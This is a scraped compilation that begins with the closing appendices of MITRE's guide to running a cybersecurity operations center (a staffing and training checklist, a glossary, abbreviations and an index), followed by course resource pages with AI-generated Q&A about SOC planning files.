raining and Career This section covers topics related to the care and feeding of SOC personnel, from the time they are interviewed to the time they leave. ‚The head of the SOC has ultimate authority regarding who is selected and who is turned down for employment with the SOC. ‚The SOC has a consistent means of vetting personnel for employment, to include its own set of qualification standards and interview process. ‚SOC personnel receive compensation commensurate with the importance of their positions and geographic adjustments that maintain parity with security operations in industry. ‚New SOC personnel go through a consistent indoctrination process that includes an orientation on SOC mission, personnel, capabilities, policies, and SOPs. ‚The SOC maintains a technical qualification process for new recruits that vets them for their ability to complete core job functions, through a written exam and/or lab practical. 318 ‚All SOC personnel on the job more than three months have passed the technical qualification tests for their particular position. ‚At least two people in the SOC have sufficient (if not deep) knowledge of each of the areas of expertise listed in Sec t ion 7.1.3 . ‚At least two weeks of paid training is granted to every SOC analyst every year; this training may be composed of attendance at professional cybersecurity conferences such as those mentioned in Sec t ion 7.3.2 , and/or technical class-based training on new tools, offensive techniques, or defensive techniques. ‚Each SOC team member who has been on the job for at least 24 months has been cross-trained on at least one SOC job function outside his or her normal daily routine. ‚All members of the SOC in senior or lead positions are trained in penetration testing and other adversarial techniques. ‚SOC leads regularly take opportunities to engage SOC team members in team-building activities inside and outside of the workplace. ‚SOC personnel who demonstrate exceptional on-the-job performance are recognized for their efforts and advanced to more senior positions in the SOC, such as intel fusion, engineering, or penetration testing. ‚The SOC’s annual attrition rate is less than 35 percent. For another take on measuring SOC maturity, see [290] . Characteristics of a World-Class SOC T en Strategies of a World-Class Cybersecurity Operations Center319 Appendix H Glossary Advanced persistent threat (APT)A well-resourced, sophisticated adversary that uses multiple attack vec- tors such as cyber, physical, and deception to achieve its objectives. An APT pursues its objectives repeatedly over an extended period of time, adapts to the defenders’ efforts to resist the APT, and is determined to maintain the required interaction level to execute its objectives [291]. AdversaryAn individual, group, organization, or government that conducts or has the intent to conduct detrimental activities [292]. AlertAn event or notification generated by a monitoring system (e.g., an IDS), usu-ally with an assigned priority. Asset A major application, general support system, high-impact program, physi-cal plant, mission-critical system, personnel, equipment, or a logically related group of systems [42]. AttackAny kind of malicious activity that attempts to collect, disrupt, deny, degrade, or destroy information system resources or the information itself [42]. ArtifactThe remnants of an intruder attack or incident activity. These could be soft - ware used by intruder(s), a collection of tools, malicious code, logs, files, out - put from tools, or status of a system after an attack or intrusion. Examples of artifacts range from T rojan horse programs and computer viruses to pro-grams that exploit (or check for the existence of) vulnerabilities or objects of unknown type and purpose found on a compromised host [8] . Audit data The data that comprises a security audit trail written by a host OS or applica- tion. (See Audit trail.) Audit log See Audit trail. Audit reviewThe process whereby a human analyst uses manual and automated means to inspect the details of a computer security audit trail for evidence of potentially malicious or anomalous activity or other activity of concern. Audit trail A chronological record that reconstructs and examines the sequence of activities surrounding or leading to a specific operation, procedure, or event in a security-relevant transaction from inception to final result [42]. 1 1 I t should be noted that this definition of a security audit trail portrays the ideal case for security logs, not the reality. The reality is that audit logging functions in many programs record only a portion of the information necessary to reconstruct the who, what, when, and where of activity; or that they do so but in an obscured or hard-to-reconstruct fashion. 320 Blue TeamThe group responsible for defending an enterprise’s use of information sys- tems by maintaining its security posture against a group of mock attack - ers (the Red T eam). The Blue T eam typically must defend against real or simulated attacks (1) over a significant period of time, (2) in a representative operation context such as part of an operational exercise, and (3) according to rules established with the help of a neutral group that is moderating the simulation or exercise [42]. CaseA written record of the details surrounding a potential or confirmed com-puter security incident. Chief information officer (CIO)Senior-level executive responsible for (1) providing advice and other assis-tance to the head of the executive organization and other senior manage- ment personnel of the organization to ensure that information systems are acquired and information resources are managed in a manner that is consis-tent with laws, directives, policies, regulations, and priorities established by the head of the organization; (2) developing, maintaining, and facilitating the implementation of a sound and integrated information system architecture for the organization; and (3) promoting the effective and efficient design and operation of all major information resources management processes for the organization, including improvements to work proce sses of the organization (adapted from [42]). Chief information security officer (CISO)The senior-level executive within an organization, responsible for manage-ment of the information security program for the entire organization (usually subordinate to the CIO). Computer forensics The practice of gathering, retaining, and analyzing computer-related data for investigative purposes, in a manner that maintains the integrity of the data [42]. Computer network defense (CND) The practice of defense against unauthorized activity within computer net - works, including monitoring, detection, analysis (such as trend and pattern analysis), and response and restoration activities [42]. Computer security incident response team (CSIRT)See Security operations center. ConstituencyThe group of users, sites, IT assets, networks, and organizations to which the CSIRT provides services (adapted from [43]). CorrelationNear-real-time finding of relationships among multiple events from different sources [211].Glossary T en Strategies of a World-Class Cybersecurity Operations Center321 CrackerSomeone who tries to gain unauthorized access to a host or set of hosts or networks, often with malicious intent (adapted from [44]). (See also Advanced persistent threat, Adversary, Script kiddie.) CyberspaceA global domain within the information environment consisting of the inter - dependent network of information systems infrastructures, including the Internet, telecommunications networks, computer systems, and embedded processors and controllers [42]. Cyber attack life cycle The entire progression of the cyber intrusion, from initial reconnaissance through exploitation and persistence (adapted from [293]). Cyber intelligence report (cyber intel)Formal and informal reports from SOCs, commercial vendors, independent security researchers, or independent security research groups that discuss information about attempted or confirmed intrusion activity, threats, vulner - abilities, or adversary TTPs, often including specific attack indicators. Cyber kill chain See Cyber attack life cycle. Cyber observable Events or stateful properties that can be seen in the cyber operational domain (adapted from [294]). CybersecurityMeasures to provide information assurance, improve resilience to cyber inci-dents, and reduce cyber threats (adapted from [295]). Cybersecurity operations centerSee Security operations center. Cyber situational awareness Within a volume of time and space, the perception of an enterprise’s secu-rity posture and its threat environment, the comprehension/meaning of both taken together (risk), and the projection of their status into the near future [42]. Enclave A collection of information systems connected by one or more internal net - works under the control of a single authority and security policy. The sys- tems may be structured by physical proximity or by function, independent of location [42]. EventAny observable occurrence in a system and/or network. Events can indicate that an incident is occurring [42]. Exfiltrate (exfil)The act of sending sensitive information out of a network enclave against established security policy or controls, usually in a surreptitious manner. False positiveA circumstance under which a monitoring system generated an alert, but no malicious activity actually occurred. HostA computer or other network-enabled device such as a smartphone or net - work-enabled printer. 322 Host intrusion detection system (HIDS)An intrusion detection system (IDS) that operates on information collected from within an individual computer system. This vantage point allows host- based IDSes to determine exactly which processes and user accounts are involved in a particular attack on the OS. Furthermore, unlike network-based IDSes, host-based IDSes can more readily “see” the intended outcome of an attempted attack because they can directly access and monitor the data files and system processes usually targeted by attacks [42]. IncidentAn assessed occurrence that actually or potentially jeopardizes the confi-dentiality, integrity, or availability of an information system or the information the system processes, stores, or transmits; or that constitutes a violation or imminent threat of violation of security policies, security procedures, or acceptable use policies [42]. Indicator A recognized action (specific, generalized, or theoretical) that an adversary might be expected to take in preparation for an attack [42]. Information assurance (IA)Measures that protect and defend information and information systems by ensuring their availability, integrity, authentication, confidentiality, and non- repudiation. These measures include providing for restoration of information systems by incorporating protection, detection, and reaction capabilities [42]. Information system security manager (ISSM)The individual responsible for the information assurance of a program, orga- nization, system, or enclave [42]. Information systems security officer (ISSO) The individual assigned responsibility for maintaining the appropriate opera- tional security posture for an information system or program [42]. Insider threatAn entity with authorized access (i.e., within the security domain) that has the potential to harm an information system or enterprise through destruction, disclosure, modification of data, and/or denial of service [42]. Inspector General (IG)A government organization whose primary responsibilities are to detect and prevent fraud, waste, abuse, and violations of law and to promote economy, efficiency, and effectiveness in the operations of the federal government [296]. Intrusion Unauthorized act of bypassing the security mechanisms of a system [42]. Intrusion detection system (IDS)Hardware or software products that gather and analyze information from various areas within a computer or a network to identify possible security breaches, which include both intrusions (attacks from outside the organiza- tions) and misuse (attacks from with the organizations) [42]. Intrusion prevention system (IPS)A system that can detect an intrusive activity and can also attempt to stop the activity, ideally, before it reaches its targets [42].Glossary T en Strategies of a World-Class Cybersecurity Operations Center323 Log See Security audit trail. Malware See Malicious code. Malicious codeSoftware or firmware intended to perform an unauthorized process that will have adverse impact on the confidentiality, integrity, or availability of an information system. A virus, worm, T rojan horse, or other code-based entity that infects a host. Spyware and some forms of adware are also examples of malicious code [42]. NetFlowA network protocol developed by Cisco Systems that provides network administrators with access to IP flow information from their data networks. A flow is a unidirectional sequence of packets with some common properties that pass through a network device [139]. NetFlow data Data exported as a result of the NetFlow service, including IP addresses, packet and byte counts, time stamps, type of service, application ports, and input and output interfaces [139]. Network Information system(s) implemented with a collection of interconnected com - ponents including routers, hubs, cabling, telecommunications controllers, key distribution centers, and technical control devices [42]. Network intrusion detection system (NIDS)IDSes that detect attacks by capturing and analyzing network packets. Lis- tening on a network segment or switch, one network-based IDS can monitor the network traffic affecting multiple hosts that are connected to the net - work segment [42]. Ops tempoA relative measure of the pace of an operation in terms of frequency and rhythm of activities and duties performed. Packet capture (PCAP)Network traffic recorded in a libpcap-formatted file. Penetration testingA test methodology in which assessors (typically working under specific con-straints) attempt to circumvent or defeat the security features of an informa- tion system [42]. Red TeamA group of people authorized to emulate a potential adversary’s attack or exploitation capabilities against an enterprise’s security posture. The Red T eam’s objective is to improve enterprise IA by demonstrating the impacts of successful attacks and by demonstrating what works for the defenders in an operational environment. (See also Blue Team [42].) Remote access toolPrograms that run on a remote host, providing an intruder with control over the target system; often used by adversaries to maintain remote persistence without the user’s knowledge or consent. 324 Script kiddieA would-be attacker who has a relatively low skill level, such as someone who can download and execute scripts or other exploits, but is unable to create their own attacks; a pejorative term usually in reference to a novice cracker (adapted from [44]). Security operations center (SOC) A team composed primarily of security analysts organized to detect, analyze, respond to, report on, and prevent cybersecurity incidents (adapted from [42] and [43]). Security information and event management (SIEM)A system designed to collect, aggregate, filter, store, correlate, triage, and display various security-relevant data feeds. Situational awareness (SA)See Cyber situational awareness. System administrator (sysadmin) A person who is responsible for day-to-day technical duties of configuring, maintaining, and administering an IT asset or collection of assets (adapted from [44]). System ownerA person or organization who is recognized as the business owner of an IT asset. Tactics, techniques, and procedures (TTPs)The employment and ordered arrangement of forces in relation to each other (tactics); nonprescriptive ways or methods used to perform missions, func- tions, or tasks (techniques); and standard, detailed steps that prescribe how to perform specific tasks (procedures) (from [297]); in a cyber context, used to refer to the entirety of how an attacker or defender operates. Tier 1 CND analystsMembers of the SOC who are responsible for real-time monitoring of sensor and data feeds, triage of events of interest, and escalation to Tier 2. Tier 2 CND analystsMembers of the SOC who are responsible for collection and in-depth analy- sis of a wide variety of indicators and log data and coordination of incident response activities. Threat Any circumstance or event that has the potential to adversely impact organi-zational operations (including mission, functions, image, or reputation), orga- nizational assets, individuals, other organizations, or the nation, through an information system via unauthorized access, destruction, disclosure, modifi-cation of information, and/or denial of service [42]. Triage The process of receiving, initial sorting, and prioritizing of information to facil-itate its appropriate handling [8] . VirusA computer program that can copy itself and infect a computer without per - mission or knowledge of the user. A virus might corrupt or delete data on a computer, use email programs to spread itself to other computers, or even erase everything on a hard disk [42].Glossary T en Strategies of a World-Class Cybersecurity Operations Center325 VulnerabilityA weakness in an information system, system security procedures, internal controls, or implementation that could be exploited by a threat source [42]. Vulnerability assessmentThe systematic examination of an information system or product to deter - mine the adequacy of security measures, identify security deficiencies, and provide data from which to predict the effectiveness of proposed security measures and confirm the adequacy of such measures after implementation [42]. 326 Appendix I List of Abbreviations ACL Access Control List AES Advanced Encryption Standard APT Advanced Persistent Threat ASCII American Standard Code for Information Interchange ASIC Application Specific Integrated Circuit ATM Asynchronous T ransfer Mode AV Antivirus B2B Business to Business B2G Business to Government BIOS Basic Input/Output System BSD Berkley Software Distribution BSOD Blue Screen of Death CBE Common Base Event CEE Common Event Expression CEF Common Event Format CEI Common Event Infrastructure CEO Chief Executive Officer CERT Computer Emergency Readiness T eam CI Counterintelligence CIDF Common Intrusion Detection Framework CIFS Common Internet File System CIO Chief Information Officer CIRC Computer Incident Response Center CIRT Computer Incident Response T eam CISO Chief Information Security Officers CSIRT Computer Security Incident Response T eam CJCSI Chairman of the Joint Chiefs of Staff Instruction CM Configuration Management CMMI Capability Maturity Model Integration CNA Computer Network Attack CND Computer Network DefenseList of Abbreviations T en Strategies of a World-Class Cybersecurity Operations Center327 CNE Computer Network Exploitation CNSS Committee on National Security Systems CONOPS Concept of Operations COO Chief Operating Officer COOP Continuity of Operation COTS Commercial Off-the-Shelf CPU Central Processing Unit CRITs Collaborative Research into Threats CS Computer Science CSIRC Computer Security Incident Response Center CSIRT Computer Security Incident Response T eam CSO Chief Security Officer CSOC Cybersecurity Operations Center CSV Comma-Separated Values CTAC Cyber Threat Analysis Cell CTO Chief T echnical Officer CUDA Compute Unified Device Architecture CVE Common Vulnerabilities and Exposures CybOX Cyber Observables eXpression DASD Direct-Attached Storage Device DHCP Dynamic Host Configuration Protocol DHS Department of Homeland Security DLP Data Loss Prevention DMVPN Dynamic Multipoint Virtual Private Network DMZ Demilitarized Zone DoD Department of Defense DoJ Department of Justice DoS Denial of Service FAQ Frequently Asked Question FBI Federal Bureau of Investigation FIRST Forum for Incident Response and Security T eams FOC Full Operating Capability FOSS Free or Open Source Software FPGA Field Programmable Gate Array 328 FTE Full Time Equivalent FTP File T ransfer Protocol G2G Government to Government GB Gigabyte GPGPU General Purpose Graphics Processing Unit GPO Group Policy Object gigE Gigabit Ethernet GRE Generic Routing Encapsulation GUI Graphical User Interface HIDS Host Intrusion Detection System HIPS Host Intrusion Prevention System HOPE Hackers on Planet Earth HR Human Resources HTTP Hypertext T ransfer Protocol IaaS Infrastructure as a Service I/O Input/Output IA Information Assurance ICMP Internet Control Message Protocol ID Identity; Identification IDPS Intrusion Detection and Prevention Systems IDS Intrusion Detection System IG Inspector General IODEF Incident Object Description and Exchange Format IP Internet Protocol IPS Intrusion Prevention System ISAC Information Sharing and Analysis Center ISSE Information Systems Security Engineer ISSM Information System Security Manager ISSO Information Systems Security Officer IT Information T echnology JDBC Java Database Connectivity KVM Keyboard, Video, Mouse LAN Local Area Network LDAP Lightweight Directory Access ProtocolList of Abbreviations T en Strategies of a World-Class Cybersecurity Operations Center329 LE Law Enforcement LM Log Management MAC Media Access Control Mb Megabit MD5 Message-Digest Algorithm (5) MOA Memorandum of Agreement MOU Memorandum of Understanding MPLS Multiprotocol Label Switching MSSP Managed Security Service Provider NAC Network Access Control NAS Network Area Storage NAT Network Address T ranslation NICS Network Interface Cards NIDS Network Intrusion Detection System NIPS Network Intrusion Prevention System NIS Network Information Service NIST National Institute of Standards and T echnology NMS Network Management System NOC Network Operations Center NOSC Network Operations and Security Center O&M Operation and Maintenance OODA Orient, Observe, Decide, and Act OS Operating System OSI Open Source Interconnection OSSIM Open Source Security Information Management PaaS Platform as a Service PCAP Packet Capture PCIe Peripheral Component Interconnect express PDF Portable Document Format PE Portable Executable PF Packet Filter PID Process Identification Number POC Point of Contact PoP Point of Presence 330 POP3 Post Office Protocol 3 R&D Research and Development RAID Redundant Array of Independent Disks RAM Random Access Memory RAT Remote Access T ool RDBMS Relational Database Management System RSA Rivest, Shamir, and Adleman (public key cryptosystem) RT Request T racker RTF Rich T ext Format RX Receiver SA Situational Awareness SaaS Software as a Service SAN Storage Area Network SCADA Supervisory Control and Data Acquisition SDEE Security Device Event Exchange SDK Software Development Kit SEI Software Engineering Institute SHA Secure Hash Algorithm SIEM Security Information and Event Management SLA Service Level Agreement SMB Server Message Block SMTP Simple Mail T ransfer Protocol SNMP Simple Network Management Protocol SOC Security Operations Center SONET Synchronous Optical Network SOP Standard Operating Procedure SPAN Switched Port Analyzer SQL Structured Query Language SSD Solid State Drive SSH Secure Shell SSL Secure Socket Layer SSO Single Sign-On STE Secure T erminal Equipment STIX Structured Threat Information eXpressionList of Abbreviations T en Strategies of a World-Class Cybersecurity Operations Center331 STU Secure T elephone Unit TA T rusted Agent TACACS T erminal Access Controller Access Control System TAXII T rusted Automated eXchange of Indicator Information TB T erabyte TCO T otal Cost of Ownership TCP T ransmission Control Protocol TLS T ransport Layer Security TPM T rusted Platform Module TTPs Tactics, T echniques, and Procedures TX T ransmit UDP User Datagram Protocol URL Uniform Resource Locator USB Universal Serial Bus VA/PT Vulnerability Assessment/Penetration T esting VIP Very Important Person VLAN Virtual Local Area Network VM Virtual Machine VoIP Voice over Internet Protocol VPN Virtual Private Network VRF Virtual Routing and Forwarding WAN Wide Area Network WELF Web T rends Enhanced Log File WINE Worldwide Intelligence Network Environment WOMBAT Worldwide Observatory of Malicious Behaviors and Attack Threats XML Extensible Markup Language ZFS Z File System 332 IndexIndex A advanced persistent threat (APT) 4–5, 40–43, 221–223, 319 agility 40–43, 49–70 analysis forensic 12, 21 incident 20, 83 remote 61–62 analysts 87–107, 317 background 89–90 career progression 102–104 resources 301–306 skill set 90–92 turnover 100–107 anti-virus (AV) tools 145–146 application blacklisting 147–148 application whitelisting 148 audit 22, 38–39, 85, 280, 319 authority 71–79 inherited 75 written 71–75 C call center 19, 83 centralized SOCs 60–64 small and large 60–61 with Follow the Sun 65 computer network defense (CND) 3 consolidated 44–48 definition 8 team 8 configuration tracking 148–149 continuity of operations (COOP) 62–64cyber attack life cycle 30–32, 321 cyber intel, cyber intelligence (intel) 13 analysis and trending 19, 96 definition 224 where to get it 244–249 cybersecurity operations center (CSOC) . See security operations center (SOC) cyber situational awareness (SA) 24, 25–28 areas of 26–28 ways to gain 26 cyber threat analysis cell (CTAC) 221–244 definition 222–223 deliverables 224–226 integration 224, 225–230 investments needed 231–240 prerequisites 230–231 space requirements 240 staffing 238–240 standing up a 240–243 D data feeds leveraging for audit 204–205 maintenance 203 obtaining 201–203 tuning 193–201 types 191–193 data quality 32 data quantity 38–40 data sources comparisons 194–200 selecting and instrumenting 188–207 E event definition 10 T en Strategies of a World-Class Cybersecurity Operations Center333 F false positives 34, 36–38, 123, 321 firewalls 150 full session capture 130–132 H honeypots 141 host intrusion prevention system (HIPS) 12, 146–147 host monitoring and defense 142–154 host sensors 181–182 I incident definition 11, 322 prevention 317 response 20, 250–254, 314–315 tip-offs 29–34, 38 tracking 254–257 information technology enterprise 5 information technology (IT) 3 enterprise 3 insider threat 322 intrusion detection 35–36, 118–122, 141, 146–147, 322 M malware 323 detonation and analysis 138–141 reverse engineering 12 N NetFlow 108, 126–129, 323 network access control (NAC) systems 149–150 network hub 207–208, 210network intrusion prevention system (NIPS) 12 network mapping 23, 111–114 network monitoring 118–142 platforms 132–138 network sensors active 180 isolating 207–212 passive 176–180 network tap 208–210 O OODA (orient, observe, decide, and act) Loop 26, 40 P passive fingerprinting 116 policies for monitoring coverage 186–187 IT and cybersecurity 74–75 S security information and event management (SIEM) 12, 109, 154–175, 324 security operations center (SOC) 3 agility 40–43, 49–70 authority 15, 17–18 capabilities of 18 characteristics of 15–18, 307–318 constituency 15, 50–53 coordinating 69–70 definition 9–10, 324 document library 295–300 enclave design 212–218 engineering staff 99–100 evaluating the need for 282–285 external interfaces 278–281 334 Indexhours of operation 291–294 importance of collaboration 243 IT operations 78–79 large 56–58 mission 10, 206–220 organizational models 15–16, 50–56 organizational placement 75–78 outsourcing 283–285 physical location 58–70 roles and incident escalation 13–14 service templates 81–85, 82–83 size vs. agility 49–70 small 54–56 staffing 87–107, 317–318 standing up a new 286–290 structuring 53–57 templates 51–53 tiered 66–69 what it is not 13–14 sensor cost 184–186 placement 175–188 tuning and maintenance 21, 84, 98–99 sharing sensitive information 218–220 situational awareness (SA) 315–316, 324. See cyber situational awareness (SA) switched port analyzer (SPAN) 207–210 T tactics, techniques, and procedures (TTPs) 13, 85, 220–221, 324 The MITRE Corporation 3 threat assessment 313–314 Tier 1 11–12, 94–95, 227, 229, 324 Tier 2 11–13, 95–96, 227, 229, 305–306, 324 tip-offs 29–34, 38, 192 traffic metadata 129–130traffic redirection 207–211 U user activity monitoring 150 V virtualization 187–188 vulnerability 325 assessment 23, 84, 97–98 scanning 23, 84, 97, 115–116 MITRE Carson Zimmerman Ten Strategies of a World-Class Cybersecurity Operations Center Ten Strategies of a World-Class Cybersecurity Operations CenterMITRE’s accumulated expertise on enterprise- grade computer network defense MITRETen Strategies of a World-Class Cybersecurity Operations Center conveys MITRE’s accumulated expertise on enterprise-grade computer network defense. It covers ten key qualities of leading Cybersecurity Operations Centers (CSOCs), ranging from their structure and organization, to processes that best enable effective and efficient operations, to approaches that extract maximum value from CSOC technology investments. This book offers perspective and context for key decision points in structuring a CSOC and shows how to: The MITRE Corporation is a not-for-profit organization that operates federally funded research and development centers (FFRDCs). FFRDCs are unique organizations that assist the U.S. government with scientific research and analysis, development and acquisition, and systems engineering and integration. We’re proud to have served the public interest for more than 50 years. The MITRE Corporation 202 Burlington Road Bedford, MA 01730-1420 (781) 271-2000 7515 Colshire Drive McLean, VA 22102-7539 (703) 983-6000 www.mitre.org MITRE© 2014 The MITRE Corporation. All rights reserved. Approved for Public Release. Distribution unlimited. Case number 13-1028.• Find the right size and structure for the CSOC team • Achieve effective placement within a larger organization that enables CSOC operations • Attract, retain, and grow the right staff and skills • Prepare the CSOC team, technologies, and processes for agile, threat-based response • Architect for large-scale data collection and analysis with a limited budget • Prioritize sensor placement and data feed choices across enterprise systems, enclaves, networks, and perimeters Bleed rule--remove from file Bleed rule--remove from fileBleed rule--remove from file Bleed rule--remove from file If you manage, work in, or are standing up a CSOC, this book is for you. It is also available on MITRE’s website, www.mitre.org. Carson Zimmerman is a Principal Cybersecurity Engineer with The MITRE Corporation. He has ten years of experience working with various CSOCs to better defend against the adversary. He has held roles in the CSOC ranging from tier 1 analyst to architect. --- ## Source: https://montance.com/questions.php?id=21 [![pdf](content/images/icons/pdf.svg) Zimmerman mitre 10 strategies cyber ops center.pdf](https://drive.google.com/file/d/1wxpun9lU9T8bq3Z0wrppPsPyfF5ZdsO-/view?usp=sharing) Zimmerman Mitre 10 Strategies Cyber Ops Center Paper detailing ten strategies for building a world-class cyber operations center. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is Strategy 1? A: Consolidate CND functions under one organization (the CSOC). * Q: What is Strategy 2? A: Achieve balance between size and agility. * Q: What is Strategy 3? A: Give the SOC the authority to do its job (organizational placement/policy). * Q: What is Strategy 4? A: Do a few things well (avoid scope creep). * Q: What is Strategy 5? A: Favor staff quality over quantity. * Q: What is Strategy 6? A: Maximize the value of technology purchases. * Q: What is Strategy 7? A: Exercise discrimination in the data you gather (signal vs. noise). * Q: What is Strategy 8? A: Protect the SOC mission (secure the SOC infrastructure). * Q: What is Strategy 9? A: Be a sophisticated consumer and producer of cyber threat intelligence. * Q: What is Strategy 10? A: Stop. Think. Respond... Calmly. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/147M4VVGDc03F5mybdLCdFSHy9Z3AMNWb/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/147M4VVGDc03F5mybdLCdFSHy9Z3AMNWb/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=20 [![txt](content/images/icons/txt.svg) 2018 10 links.txt](https://drive.google.com/file/d/147M4VVGDc03F5mybdLCdFSHy9Z3AMNWb/view?usp=sharing) 2018 10 Links Collection of URLs related to threat tracking and security operations courses. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the URL for the threat tracking resource? A: http://apt.threattracking.com * Q: What is the URL for the MGT517 Singapore link? A: https://mgt517.com/2018-10-sing * Q: What is the purpose of the 'threattracking.com' link? A: It likely provides intelligence on Advanced Persistent Threats (APTs). * Q: Is the MGT517 link an HTTP or HTTPS link? A: HTTPS. * Q: What year is referenced in the text file name? A: 2018. * Q: What month is referenced in the text file name? A: October (10). * Q: Are there any other links in this file? A: No, it appears to contain only two links. * Q: What class is MGT517 associated with? A: SANS Managing Security Operations. * Q: Is the threat tracking link HTTP or HTTPS? A: HTTP. * Q: What country is likely associated with 'sing' in the URL? A: Singapore. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgTWp5U3VpaW5XZlE/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/0B9l-G6EuipZgTWp5U3VpaW5XZlE/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=18 [![vsdx](content/images/icons/pdf.svg) SOC Class functional area swimlane Overall 2016-07-16\_old.vsdx](https://drive.google.com/file/d/0B9l-G6EuipZgTWp5U3VpaW5XZlE/view?usp=sharing) SOC Class Functional Area Swimlane Overall 2016 07 16 Old Resource covering SOC titled 'SOC Class Functional Area Swimlane Overall 2016 07 16 Old'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1RhjHhgS4-Qb0jbSghYgVN93wLbbE0rB0/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1RhjHhgS4-Qb0jbSghYgVN93wLbbE0rB0/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=17 [![jpg](content/images/icons/jpg.svg) SOC Class functional area swimlane Overall 2016-07-16.jpg](https://drive.google.com/file/d/1RhjHhgS4-Qb0jbSghYgVN93wLbbE0rB0/view?usp=sharing) SOC Class Functional Area Swimlane Overall 2016 07 16 Resource covering SOC titled 'SOC Class Functional Area Swimlane Overall 2016 07 16'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/11uvJ5XDUKDOEVkveY7m4aDvcLCuEYgMG/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/11uvJ5XDUKDOEVkveY7m4aDvcLCuEYgMG/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=16 [![tif](content/images/icons/tif.svg) SOC Class functional area swimlane Overall 2016-07-16.tif](https://drive.google.com/file/d/11uvJ5XDUKDOEVkveY7m4aDvcLCuEYgMG/view?usp=sharing) SOC Class Functional Area Swimlane Overall 2016 07 16 Resource covering SOC titled 'SOC Class Functional Area Swimlane Overall 2016 07 16'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1QnrrPLJ2vHNmP66bJDbLuPGcxGHy2Wkz/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1QnrrPLJ2vHNmP66bJDbLuPGcxGHy2Wkz/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=15 [![vsdx](content/images/icons/pdf.svg) SOC Class functional area swimlane Overall 2016 07 16.vsdx](https://drive.google.com/file/d/1QnrrPLJ2vHNmP66bJDbLuPGcxGHy2Wkz/view?usp=sharing) SOC Class Functional Area Swimlane Overall 2016 07 16 Diagram illustrating SOC functional areas and workflows. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=14 [![xlsx](content/images/icons/xlsx.svg) 2020 05 SOAR SOC process list.xlsx](https://docs.google.com/spreadsheets/d/1JMEubjFg_ueExgTkJ66j5yqDDQgHfGjJ/edit?usp=sharing) 2020 05 SOAR SOC Process List List of SOC processes prioritized for automation and orchestration. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the specificity level for 'Tool update process'? A: Exact Steps to Follow. * Q: What is the automation priority for 'Impact Assessment'? A: Highest. * Q: What is the planned creation date for 'Review Policy'? A: 2020-08-31. * Q: Does 'Shift Turn Over' have an existing SOP? A: No. * Q: Which SOP is a candidate for 'Moderate' automation? A: Receive Request. * Q: What is the automation priority for 'Deconfliction'? A: Lowest. * Q: What group handles 'Notify Constituents'? A: Command Center. * Q: What is the specificity level for 'SIEM hygiene & tune-up'? A: Steps Plus Details. * Q: What is the planned creation date for 'New Log Source'? A: 2020-05-01. * Q: What is the automation candidate status for 'Review Policy'? A: None. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=13 [![xlsx](content/images/icons/xlsx.svg) Technology Selection List.xlsx](https://docs.google.com/spreadsheets/d/1WZ6DMJdDft-Pzio1p8yj6UQr4hL3Pdg5/edit?usp=sharing) Technology Selection List Inventory and cost estimates for various security operations tools and technologies. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the estimated purchase price for 'CyberCPR'? A: $35,000. * Q: What tool is used for 'Availability Monitoring'? A: What's Up. * Q: What is the estimated annual support percentage for 'CyberCPR'? A: 35% of the purchase price. * Q: What tool is listed for 'Encryption for Communication'? A: S/MIME certs using an external CA. * Q: Which function owns the 'Telephone System'? A: Command Center. * Q: What is the 'Estimated Purchase Price' for 'Vulnerability Scanners' (Nessus/Burp)? A: $3,000. * Q: What is the projected Year 3 Annual Maintenance Cost for 'Ticket Tracking System'? A: Approximately $15,750. * Q: Does the 'SIEM' listed have an estimated purchase price? A: No, it is listed as 0 (possibly implying existing sunk cost or open source). * Q: What hardware is reused for 'Assessment Development Environment'? A: Repurposed hardware. * Q: What tool is used for 'Communication and Coordination Capabilities'? A: Internal email. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and 